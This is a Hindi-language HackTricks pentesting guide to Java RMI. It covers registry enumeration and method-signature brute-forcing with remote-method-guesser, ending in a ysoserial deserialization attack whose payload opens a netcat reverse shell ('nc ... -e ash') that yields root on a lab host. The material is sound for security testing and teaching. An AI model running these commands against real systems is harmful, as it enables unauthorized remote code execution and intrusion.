30 KiB
1098/1099/1050 - पेंटेस्टिंग जावा आरएमआई - आरएमआई-आईओओप
☁️ हैकट्रिक्स क्लाउड ☁️ -🐦 ट्विटर 🐦 - 🎙️ ट्विच 🎙️ - 🎥 यूट्यूब 🎥
- क्या आप किसी साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को हैकट्रिक्स में विज्ञापित देखना चाहते हैं? या क्या आपको पीईएएस की नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड करने का उपयोग करने की आवश्यकता है? सदस्यता योजनाएं की जांच करें!
- द पीईएएस फैमिली की खोज करें, हमारा विशेष संग्रह एनएफटी
- आधिकारिक पीईएएस और हैकट्रिक्स स्वैग प्राप्त करें
- शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह में या मुझे ट्विटर पर फॉलो करें 🐦@carlospolopm.
- अपने हैकिंग ट्रिक्स साझा करें द्वारा पीआर जमा करके हैकट्रिक्स रेपो और हैकट्रिक्स-क्लाउड रेपो।
Trickest का उपयोग करें और आसानी से बनाएं और स्वचालित कार्यप्रवाह जो दुनिया के सबसे उन्नत समुदाय उपकरणों द्वारा संचालित होता है।
आज ही पहुंच प्राप्त करें:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
मूलभूत जानकारी
जावा रिमोट मेथड इनवोकेशन, या जावा आरएमआई, एक ऑब्जेक्ट ओरिएंटेड आरपीसी मेकेनिज़्म है जो एक जावा वर्चुअल मशीन में स्थित एक ऑब्जेक्ट को दूसरे जावा वर्चुअल मशीन में स्थित एक ऑब्जेक्ट पर मेथड कॉल करने की अनुमति देता है। इससे डेवलपर्स को ऑब्जेक्ट-ओरिएंटेड पैराडाइम का उपयोग करके वितरित एप्लिकेशन लिखने की सुविधा मिलती है। एक ऑफेंसिव दृष्टिकोण से जावा आरएमआई का एक संक्षिप्त परिचय इस ब्लैकहैट टॉक में मिल सकता है।
डिफ़ॉल्ट पोर्ट: 1090,1098,1099,1199,4443-4446,8999-9010,9999
PORT STATE SERVICE VERSION
1090/tcp open ssl/java-rmi Java RMI
9010/tcp open java-rmi Java RMI
37471/tcp open java-rmi Java RMI
40259/tcp open ssl/java-rmi Java RMI
आमतौर पर, केवल डिफ़ॉल्ट जावा आरएमआई के घटक (आरएमआई रजिस्ट्री और सक्रियण प्रणाली) सामान्य पोर्टों से बांधे जाते हैं। वास्तविक आरएमआई एप्लिकेशन को लागू करने वाले रिमोट ऑब्जेक्ट्स आमतौर पर यादृच्छिक पोर्टों से बांधे जाते हैं, जैसा कि ऊपर की आउटपुट में दिखाया गया है।
नमैप को कभी-कभी एसएसएल सुरक्षित आरएमआई सेवाओं की पहचान करने में समस्याएं हो सकती हैं। यदि आप किसी सामान्य आरएमआई पोर्ट पर एक अज्ञात एसएसएल सेवा के साथ सामना करते हैं, तो आपको आगे जांच करनी चाहिए।
आरएमआई घटक
सरल शब्दों में कहें तो, जावा आरएमआई एक डेवलपर को एक जावा ऑब्जेक्ट को नेटवर्क पर उपलब्ध करने की अनुमति देता है। इससे एक TCP पोर्ट खुलता है जहां क्लाइंट संपर्क कर सकते हैं और संबंधित ऑब्जेक्ट पर मेथड कॉल कर सकते हैं। इसके बावजूद यह सरल लग सकता है, लेकिन जावा आरएमआई को कई चुनौतियों का सामना करना पड़ता है:
- जावा आरएमआई के माध्यम से एक मेथड कॉल भेजने के लिए, क्लाइंट को लक्षित ऑब्जेक्ट के आईपी पता, सुनने वाले पोर्ट, कार्यान्वित कक्षा या इंटरफेस और लक्षित ऑब्जेक्ट की
ObjIDकी जानकारी होनी चाहिए (ऑब्जेक्ट को नेटवर्क पर उपलब्ध कराने पर एक अद्वितीय और यादृच्छिक पहचानकर्ता बनाया जाता है जो आवश्यक होता है क्योंकि जावा आरएमआई एक ही TCP पोर्ट पर कई ऑब्जेक्ट्स को सुनने की अनुमति देता है)। - रिमोट क्लाइंट्स सर्वर पर मेथड कॉल करके संसाधित ऑब्जेक्ट पर संसाधित संसाधन आवंटित कर सकते हैं। जावा वर्चुअल मशीन को यह ट्रैक करना होता है कि इनमें से कौन से संसाधन अभी भी उपयोग में हैं और कौन संसाधन गार्बेज कलेक्ट किए जा सकते हैं।
पहली चुनौती को आरएमआई रजिस्ट्री द्वारा हल किया जाता है, जो मूल रूप से जावा आरएमआई के लिए एक नामकरण सेवा है। आरएमआई रजिस्ट्री खुद भी एक आरएमआई सेवा है, लेकिन कार्यान्वित इंटरफेस और ObjID निर्धारित और सभी आरएमआई क्लाइंट्स द्वारा ज्ञात होते हैं। इसके कारण आरएमआई क्लाइंट्स को केवल संबंधित TCP पोर्ट को जानते हुए आरएमआई रजिस्ट्री का उपभोग करने की अनुमति होती है।
जब डेवलपर्स अपने जावा ऑब्जेक्ट्स को नेटवर्क में उपलब्ध करना चाहते हैं, तो वे आमतौर पर उन्हें एक आरएमआई रजिस्ट्री से बांधते हैं। रजिस्ट्री में संपर्क करने के लिए आवश्यक सभी जानकारी (आईपी पता, सुनने वाले पोर्ट, कार्यान्वित कक्षा या इंटरफेस और ObjID मान) संग्रहीत की जाती है और इसे एक मानव पठनीय नाम (बाउंड नाम) के तहत उपलब्ध कराया जाता है। आरएमआई सेवा का उपभोग करना चाहने वाले क्लाइंट्स रजिस्ट्री से संबंधित बाउंड नाम के लिए पूछते हैं और रजिस्ट्री संपर्क करने पर सभी आवश्यक जानकारी प्राप्त करते हैं। इस प्रकार, स्थिति मूल रूप से एक साधारण डीएनएस सेवा के साथ ही होती है। निम्नलिखित सूची में एक छोटा उदाहरण दिखाया गया है:
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import lab.example.rmi.interfaces.RemoteService;
public class ExampleClient {
private static final String remoteHost = "172.17.0.2";
private static final String boundName = "remote-service";
public static void main(String[] args)
{
try {
Registry registry = LocateRegistry.getRegistry(remoteHost); // Connect to the RMI registry
RemoteService ref = (RemoteService)registry.lookup(boundName); // Lookup the desired bound name
String response = ref.remoteMethod(); // Call a remote method
} catch( Exception e) {
e.printStackTrace();
}
}
}
उपरोक्त चुनौतियों में दूसरी चुनौती को वितरित कचरा संग्राहक (DGC) द्वारा हल किया जाता है। यह एक और RMI सेवा है जिसमें एक अच्छी तरह से ज्ञात ObjID मान होता है और यह मूल रूप से प्रत्येक RMI इंटरफेस पर उपलब्ध होता है। जब एक RMI क्लाइंट एक RMI सेवा का उपयोग करना शुरू करता है, तो यह DGC को एक सूचना भेजता है कि संबंधित रिमोट ऑब्जेक्ट का उपयोग हो रहा है। DGC फिर संदर्भ गणना को ट्रैक कर सकता है और अपयोगी ऑब्जेक्ट्स को साफ कर सकता है।
एक्टिवेशन सिस्टम के साथ मिलाकर, ये जावा RMI के तीन डिफ़ॉल्ट घटक हैं:
- RMI रजिस्ट्री (
ObjID = 0) - एक्टिवेशन सिस्टम (
ObjID = 1) - वितरित कचरा संग्राहक (
ObjID = 2)
जावा RMI के डिफ़ॉल्ट घटकों को काफी समय से ज्ञात हमले के लिए उपयोग किया जा रहा है और पुराने जावा संस्करणों में कई सुरक्षा दुर्बलताएं मौजूद हैं। हमलावादी के दृष्टिकोण से, ये डिफ़ॉल्ट घटक रुचिकर हैं, क्योंकि इनमें ज्ञात कक्षाएं / इंटरफेस को लागू किया गया है और उनके साथ संवाद करना आसान है। यह स्थिति कस्टम RMI सेवाओं के लिए अलग है। एक रिमोट ऑब्जेक्ट पर एक विधि को कॉल करने के लिए, आपको पहले से ही संबंधित विधि हस्ताक्षर को जानने की आवश्यकता होती है। मौजूदा विधि हस्ताक्षर को न जाने के बिना, एक RMI सेवा के साथ संवाद करने का कोई तरीका नहीं है।
RMI जाँच
remote-method-guesser एक जावा RMI सुरक्षा जांचक है जो सामान्य RMI सुरक्षा दुर्बलताएं स्वचालित रूप से पहचान सकता है। जब आप एक RMI इंटरफेस का पता लगाते हैं, तो आपको इसे एक बार आजमाना चाहिए:
$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] - plain-server2
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
[+] - legacy-service
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
[+] - plain-server
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] RMI server codebase enumeration:
[+]
[+] - http://iinsecure.dev/well-hidden-development-folder/
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] --> de.qtc.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] - Caught ClassNotFoundException during lookup call.
[+] --> The type java.lang.String is unmarshalled via readObject().
[+] Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] - Caught MalformedURLException during lookup call.
[+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] - Caught NotBoundException during unbind call (unbind was accepeted).
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] - Security Manager rejected access to the class loader.
[+] --> The server does use a Security Manager.
[+] Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enmeration:
[+]
[+] - Caught IllegalArgumentException after sending An Trinh gadget.
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] - Caught IllegalArgumentException during activate call (activator is present).
[+] --> Deserialization allowed - Vulnerability Status: Vulnerable
[+] --> Client codebase enabled - Configuration Status: Non Default
जाँच कार्रवाई का आउटपुट परियोजना के दस्तावेज़ीकरण पृष्ठों में अधिक विस्तार से समझाया गया है। परिणाम पर आधारित होकर, आपको पहचानी गई सुरक्षा कमजोरियों की पुष्टि करने का प्रयास करना चाहिए।
रिमोट-मेथड-गेसर द्वारा प्रदर्शित ObjID मानों का उपयोग सेवा के अपटाइम का निर्धारण करने के लिए किया जा सकता है। इससे अन्य सुरक्षा कमजोरियों की पहचान की जा सकती है:
$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] ObjNum: -4004948013687638236
[+] UID:
[+] Unique: 1442798173
[+] Time: 1640761503828 (Dec 29,2021 08:05)
[+] Count: -32760
रिमोट मेथड को ब्रूटफोर्स करना
यद्यपि जांच के दौरान कोई संवेदनशीलता की कमी नहीं पता चली हो, लेकिन उपलब्ध RMI सेवाएं अभी भी खतरनाक फंक्शन्स को उजागर कर सकती हैं। इसके अलावा, RMI डिफ़ॉल्ट कॉम्पोनेंट्स के साथ RMI संचार को डिसीरियलाइज़ेशन फ़िल्टर्स से सुरक्षित किया जाता है, लेकिन कस्टम RMI सेवाओं के साथ बातचीत करते समय, ऐसे फ़िल्टर्स आमतौर पर उपलब्ध नहीं होते हैं। RMI सेवाओं पर मान्य मेथड साइनेचर्स को जानना इसलिए महत्वपूर्ण है।
दुर्भाग्यवश, जावा RMI में रिमोट ऑब्जेक्ट्स पर मेथडों की जांच का समर्थन नहीं है। तथापि, remote-method-guesser या rmiscout जैसे उपकरणों के साथ मेथड साइनेचर्स को ब्रूटफोर्स किया जा सकता है:
$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] MethodGuesser is running:
[+] --------------------------------
[+] [ plain-server2 ] HIT! Method with signature String execute(String dummy) exists!
[+] [ plain-server2 ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] [ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] [ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] [ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] [6562 / 6562] [#####################################] 100%
[+] done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] - plain-server2 == plain-server
[+] --> String execute(String dummy)
[+] --> String system(String dummy, String[] dummy2)
[+] - legacy-service
[+] --> void logMessage(int dummy1, String dummy2)
[+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] --> String login(java.util.HashMap dummy1)
पहचानी गई विधियाँ इस प्रकार से कॉल की जा सकती हैं:
$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root)
या आप इस तरह से डेसीरियलाइज़ेशन हमले कर सकते हैं:
$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] Using non primitive argument type java.lang.String on position 0
[+] Specified method signature is String execute(String dummy)
[+]
[+] Caught ClassNotFoundException during deserialization attack.
[+] Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
[+] Deserialization attack probably worked :)
$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:45479.
id
uid=0(root) gid=0(root) groups=0(root)
इन लेखों में अधिक जानकारी मिल सकती है:
अनुमान लगाने के अलावा, आपको खोज इंजन या GitHub में भी देखना चाहिए एक आपत्तिजनक RMI सेवा के इंटरफेस या इंप्लीमेंटेशन के लिए। यहां bound name और इंप्लीमेंटेड क्लास या इंटरफेस का नाम मददगार हो सकता है।
ज्ञात इंटरफेस
remote-method-guesser टूल के आंतरिक डेटाबेस में ज्ञात RMI सेवाओं की सूची में शामिल होने पर कक्षाओं या इंटरफेस को ज्ञात रूप में चिह्नित करता है। इन मामलों में आप ज्ञात कार्रवाई का उपयोग करके संबंधित RMI सेवा के बारे में अधिक जानकारी प्राप्त कर सकते हैं:
$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
[+]
[+] - jmxrmi
[+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] Endpoint: localhost:41695 TLS: no ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]
$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] Name:
[+] JMX Server
[+]
[+] Class Name:
[+] - javax.management.remote.rmi.RMIServerImpl_Stub
[+] - javax.management.remote.rmi.RMIServer
[+]
[+] Description:
[+] Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
[+] This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
[+] method usually passing a HashMap that contains connection options (e.g. credentials). The return
[+] value (RMIConnection object) is another remote object that is when used to perform JMX related
[+] actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
[+]
[+] Remote Methods:
[+] - String getVersion()
[+] - javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
[+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
[+]
[+] Vulnerabilities:
[+]
[+] -----------------------------------
[+] Name:
[+] MLet
[+]
[+] Description:
[+] MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
[+] other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
[+] is therefore most of the time equivalent to remote code execution.
[+]
[+] References:
[+] - https://github.com/qtc-de/beanshooter
[+]
[+] -----------------------------------
[+] Name:
[+] Deserialization
[+]
[+] Description:
[+] Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
[+] method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
[+] actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
[+] establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] References:
[+] - https://github.com/qtc-de/beanshooter
शोदन
port:1099 java
उपकरण
हैकट्रिक्स स्वचालित आदेश
Protocol_Name: Java RMI #Protocol Abbreviation if there is one.
Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one.
Protocol_Description: Java Remote Method Invocation #Protocol Abbreviation Spelled out
Entry_1:
Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}
Trickest का उपयोग करके आसानी से वर्कफ़्लो बनाएं और संचालित करें, जो दुनिया के सबसे उन्नत समुदाय उपकरणों द्वारा संचालित होते हैं।
आज ही पहुंच प्राप्त करें:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- क्या आप किसी साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित देखना चाहते हैं? या क्या आपको PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग करने की इच्छा है? सदस्यता योजनाएं की जांच करें!
- The PEASS Family की खोज करें, हमारा विशेष संग्रह NFTs
- आधिकारिक PEASS & HackTricks swag प्राप्त करें
- शामिल हों 💬 Discord समूह या टेलीग्राम समूह या मुझे Twitter पर फ़ॉलो करें 🐦@carlospolopm.
- अपने हैकिंग ट्रिक्स साझा करें, hacktricks repo और hacktricks-cloud repo में PR जमा करके।